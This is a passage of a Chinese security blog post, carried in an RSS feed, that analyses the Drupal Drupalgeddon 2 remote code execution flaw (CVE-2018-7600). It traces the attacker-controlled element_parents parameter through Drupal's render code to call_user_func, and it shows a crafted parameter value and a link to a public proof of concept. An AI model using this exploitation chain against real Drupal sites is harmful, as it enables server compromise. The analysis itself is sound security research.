&lt;h4 id=&#34;0x04-流程梳理&#34;&gt;0x04 流程梳理&lt;/h4&gt;

&lt;p&gt;先来理清一下Drupal处理表单的情况。更详细的可以看&lt;a href=&#34;http://www.thinkindrupal.com/node/1100&#34;&gt;文档&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Drupal提供了一个应用程序接口（API），用来生成、验证和处理HTML表单。表单API将表单抽象为一个嵌套数组，里面包含了属性和值。在生成页面时，表单呈现引擎会在适当的时候将数组呈现出来。&lt;/p&gt;

&lt;p&gt;模块使用关联数组向Drupal描述表单。Drupal的表单引擎负责为要显示的表单生成HTML，并使用三个阶段来安全的处理提交了的表单：验证、提交、重定向。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Drupal比较特殊，它不像大部分cms通过html直接渲染页面，而是把接收的数据交给&lt;code&gt;core/lib/Drupal/Core/Form/FormBuilder.php&lt;/code&gt;的&lt;code&gt;buildForm()&lt;/code&gt;方法处理，&lt;code&gt;buildForm()&lt;/code&gt;经过处理后返回一个结构体(数组)，数组通过引擎生成HTML。&lt;/p&gt;

&lt;p&gt;当我们提交一个表单(例如注册页面)，&lt;code&gt;buildForm()&lt;/code&gt;方法会根据&lt;code&gt;$form_id&lt;/code&gt;取出数据，经过一系列处理后返回一个树形结构，这个结构就是通过数组存储的，就是我们看到的类似&lt;code&gt;[$current_file_count][&#39;#attributes&#39;][&#39;class&#39;][]&lt;/code&gt;的结构，数组每个元素作为一个叶子节点，后续就把整个&lt;code&gt;form&lt;/code&gt;结构渲染出页面。&lt;/p&gt;

&lt;p&gt;当我们在注册页面上传一张图片的时候，&lt;code&gt;form&lt;/code&gt;结构被传给&lt;code&gt;core/modules/file/src/Element/ManagedFile.php&lt;/code&gt;的&lt;code&gt;uploadAjaxCallback()&lt;/code&gt;方法，这个方法用来处理上传文件的情况&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt; public static function uploadAjaxCallback(&amp;amp;$form, FormStateInterface &amp;amp;$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service(&#39;renderer&#39;);

    $form_parents = explode(&#39;/&#39;, $request-&amp;gt;query-&amp;gt;get(&#39;element_parents&#39;));

    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);

    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state-&amp;gt;get(&#39;file_upload_delta_initial&#39;);
    if (isset($form[&#39;#file_upload_delta&#39;]) &amp;amp;&amp;amp; $current_file_count &amp;lt; $form[&#39;#file_upload_delta&#39;]) {
      $form[$current_file_count][&#39;#attributes&#39;][&#39;class&#39;][] = &#39;ajax-new-content&#39;;
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form[&#39;#suffix&#39;] .= &#39;&amp;lt;span class=&amp;quot;ajax-new-content&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#39;;
    }

    $status_messages = [&#39;#type&#39; =&amp;gt; &#39;status_messages&#39;];
    $form[&#39;#prefix&#39;] .= $renderer-&amp;gt;renderRoot($status_messages);
    $output = $renderer-&amp;gt;renderRoot($form);

    $response = new AjaxResponse();
    $response-&amp;gt;setAttachments($form[&#39;#attached&#39;]);

    return $response-&amp;gt;addCommand(new ReplaceCommand(NULL, $output));
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/8b1t3&#34; alt=&#34;upload&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Q3ys0&#34; alt=&#34;form_parents&#34; /&gt;&lt;/p&gt;

&lt;p&gt;问题就出现在&lt;code&gt;$request-&amp;gt;query-&amp;gt;get(&#39;element_parents&#39;)&lt;/code&gt;这个地方，&lt;code&gt;$form_parents&lt;/code&gt;父节点的值是从&lt;code&gt;get()&lt;/code&gt;取出&lt;code&gt;element_parents&lt;/code&gt;参数传进去的，进入下面的&lt;code&gt;NestedArray::getValue()&lt;/code&gt;方法，&lt;code&gt;getValue()&lt;/code&gt;的作用是接收一个节点，把这个节点下的叶子节点全部遍历出来，再根据叶子节点的&lt;code&gt;key-value&lt;/code&gt;值进行后续操作。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/39ciX&#34; alt=&#34;getValue&#34; /&gt;
&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/f8qiO&#34; alt=&#34;user_picture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;按理说这样的功能很正常，关键就在于这个&lt;code&gt;element_parents&lt;/code&gt;正是我们可以控制的，也就是说我们可以指定&lt;code&gt;uploadAjaxCallback()&lt;/code&gt;渲染我们给它的参数，而这个参数可以是恶意的。&lt;/p&gt;

&lt;h4 id=&#34;0x05-漏洞分析&#34;&gt;0x05 漏洞分析&lt;/h4&gt;

&lt;p&gt;那么我们传进去什么参数呢？我们先来测试一下，正常注册流程，&lt;code&gt;mail&lt;/code&gt;参数传进去一个数组的话会怎么样&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/KJE50&#34; alt=&#34;mail&#34; /&gt;
可以看到我们构造的“子节点”被存储在&lt;code&gt;mail-value&lt;/code&gt;下，如果要取出这个值就得让上面提到的&lt;code&gt;getValue()&lt;/code&gt;接收这个参数，所以我们构造&lt;code&gt;element_parents=account/name/%23value&lt;/code&gt;，这样子&lt;code&gt;getValue()&lt;/code&gt;就会遍历出我们构造的参数&lt;/p&gt;

&lt;p&gt;现在参数已经能够传进去了，那么在哪里执行呢？继续往下跟&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$current_file_count = $form_state-&amp;gt;get(&#39;file_upload_delta_initial&#39;);
if (isset($form[&#39;#file_upload_delta&#39;]) &amp;amp;&amp;amp; $current_file_count &amp;lt; $form[&#39;#file_upload_delta&#39;]) {
	$form[$current_file_count][&#39;#attributes&#39;][&#39;class&#39;][] = &#39;ajax-new-content&#39;;
}
// Otherwise just add the new content class on a placeholder.
else {
	$form[&#39;#suffix&#39;] .= &#39;&amp;lt;span class=&amp;quot;ajax-new-content&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#39;;
}

$status_messages = [&#39;#type&#39; =&amp;gt; &#39;status_messages&#39;];
$form[&#39;#prefix&#39;] .= $renderer-&amp;gt;renderRoot($status_messages);
$output = $renderer-&amp;gt;renderRoot($form);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到经过&lt;code&gt;getValue()&lt;/code&gt;遍历出来的叶子节点(就是此时的&lt;code&gt;form&lt;/code&gt;)被传进&lt;code&gt;$renderer-&amp;gt;renderRoot()&lt;/code&gt;方法，跟进去看一下&lt;/p&gt;

&lt;p&gt;&lt;code&gt;core/lib/Drupal/Core/Render/Renderer.php&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  public function render(&amp;amp;$elements, $is_root_call = FALSE) {
...
    try {
      return $this-&amp;gt;doRender($elements, $is_root_call);
    }
    catch (\Exception $e) {
      // Mark the ::rootRender() call finished due to this exception &amp;amp; re-throw.
      $this-&amp;gt;isRenderingRoot = FALSE;
      throw $e;
    }
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用&lt;code&gt;doRender()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/6Htxw&#34; alt=&#34;doRender&#34; /&gt;
这个方法比较长，但是我们从中找到了几处执行&lt;code&gt;call_user_func()&lt;/code&gt;的地方，先看一下第三处&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (isset($elements[&#39;#post_render&#39;])) {
    foreach ($elements[&#39;#post_render&#39;] as $callable) {
        if (is_string($callable) &amp;amp;&amp;amp; strpos($callable, &#39;::&#39;) === FALSE) {
            $callable = $this-&amp;gt;controllerResolver-&amp;gt;getControllerFromDefinition($callable);
        }
        $elements[&#39;#children&#39;] = call_user_func($callable, $elements[&#39;#children&#39;], $elements);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接收的第一个参数&lt;code&gt;$elements[&#39;#post_render&#39;]&lt;/code&gt;作为函数，第二个参数&lt;code&gt;$elements[&#39;#children&#39;]&lt;/code&gt;作为参数，在上面被赋值&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (!$theme_is_implemented &amp;amp;&amp;amp; isset($elements[&#39;#markup&#39;])) {
    $elements[&#39;#children&#39;] = Markup::create($elements[&#39;#markup&#39;] . $elements[&#39;#children&#39;]);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这两个参数都是我们可控的，于是造成一个代码执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/jHlV8&#34; alt=&#34;call_user_func&#34; /&gt;&lt;/p&gt;

&lt;p&gt;回头看一下这处&lt;code&gt;call_user_func_array&lt;/code&gt;，这里的&lt;code&gt;$callable&lt;/code&gt;和&lt;code&gt;$args&lt;/code&gt;两个参数实际上也是可控的，通过&lt;code&gt;#lazy_builder&lt;/code&gt;属性传进来，checkpoint的分析报告正是分析了这个地方&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/Gj3xu&#34; alt=&#34;call_user_func_array&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h4&gt;

&lt;p&gt;关注这个漏洞也是好长时间了，当时粗略看了一下，因为补丁直接对入口进行了过滤，要找到真正触发的地方太难了，所以也迟迟不见PoC出来。checkpoint的分析报告出来后好好跟了一遍，不得不感叹人家真厉害(逃&amp;hellip;&lt;/p&gt;

&lt;p&gt;这个漏洞关键点有两个，一个是&lt;code&gt;uploadAjaxCallback&lt;/code&gt;里&lt;code&gt;$form_parents&lt;/code&gt;由get直接传进参数，这里就存在风险；
另一处&lt;code&gt;call_user_func&lt;/code&gt;两个参数均可控，两者结合造成一个严重的远程代码执行漏洞，看分析报告如何一步步构造利用链，可谓是十分精彩了。&lt;/p&gt;

&lt;h4 id=&#34;0x07-参考&#34;&gt;0x07 参考&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://research.checkpoint.com/uncovering-drupalgeddon-2/&#34;&gt;https://research.checkpoint.com/uncovering-drupalgeddon-2/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/a2u/CVE-2018-7600&#34;&gt;https://github.com/a2u/CVE-2018-7600&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>